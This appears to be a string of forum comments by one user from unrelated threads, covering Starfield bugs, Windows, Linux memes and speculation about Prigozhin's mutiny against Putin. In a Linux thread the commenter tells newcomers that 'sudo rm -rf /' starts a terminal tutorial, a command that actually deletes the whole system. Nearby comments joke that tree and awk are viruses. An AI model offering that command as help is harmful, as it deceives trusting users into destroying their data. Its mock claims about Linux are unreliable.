True, but I figure a year gives me time to see how things pan out. You need some time to find out what the community patches will be like.

Such a pathetic state of affairs.

That’s not a bug, it’s a feature.

Just Tod Howard streamlining your RPG experience so that he can say “it just works”.

I have a personal one year embargo on starfield for this exact reason.

Not touching it t until a year after release, waiting to see if it’s fucked or not… Bethesda, eh.

Pretty much. Made perfect sense in my head at the time.

I totally see how it would be ambiguous now though.

Yep. Laughs in FOSS would have worked way better than mine.

Thanks for the other pointers too, although I really didn’t need the mental image of windows update happening 60 times a second, thank you very much. :)

Well, maybe I’m just not good at memes (almost certainly the case tbh) but Microsoft are talking about windows switching to being a largely cloud based OS, hence their Windows 365 talk recently.

Which is horrible, obviously.

Laughs in KDE could have been any distro, more about not having to deal with the eventual clusterfuck that’s coming towards windows users…

There it is folks, someone had to explain their fucking meme. See that, that’s what a shit meme looks like. :p

Ha! Goddamnit I walked right into that, didn’t I?

Goddamn Kali and it’s wireless drivers.

Good Human.

By not mentioning the Activity Pub protocol or FOSS (and then going off on GNU shit with direct quotes from Richard Stallman) even once, this is straining the bounds of possibility.

Lol, I know what you mean.

Isn’t it fucked up how we all say that linux doesn’t have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn’t have “Tree” or “Awk” just sitting there waiting to ruin your whole day.

I swear to God Canonical have some things to answer for.

Well, technically it teaches you how to optimize your system.

That said, the optimizations are really effective.

All good points.

That’s why I love communities like these, there are always people willing to expound upon other’s solutions with solid additional information.

It’s what makes forums like these such goldmines of information when you’re first cutting your teeth learning new things.

Upvoted.

It’s great, isn’t it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system’s using now that you’ve run the tutorials. It’s almost like nothing’s going on in the background at all.

This is the reason that BASH will always be better than Powershell, imho.

I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.

It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

sudo rm -rf /

Type your password when prompted and you’re golden. No more linux issues ever again.

Honestly, I think a lot revolves around whether or not Prigohzin is still alive a week from now.

Clearly, if Prigozhin marched, it’s because he thought it as having a valid chance of success. He left because he was paid what he wanted, be it money or power, etc. Putin, notably capitulated

He did not carpet bomb the fuck, so to speak, out of the traitors. Those threatening his reign. It tells much for those who wish to hear.

Does anyone else think that being seen as weak and capitulating to Prigozhin here is basically a death sentence to Putin?

Doing that has to have just put SO MUCH blood in the water for every internal agency/power-block with aspirations of taking him down and replacing him.

Apparently all you need is 20,000 men and Putin’s defenceless…

My opinion is that this is going to cause chaos.

The fact that Putin didn’t have Wagner immediately atomized on the spot suggests that he wasn’t powerful enough to do so. Not a statement that someone in Putin’s position would want to make, I would think.
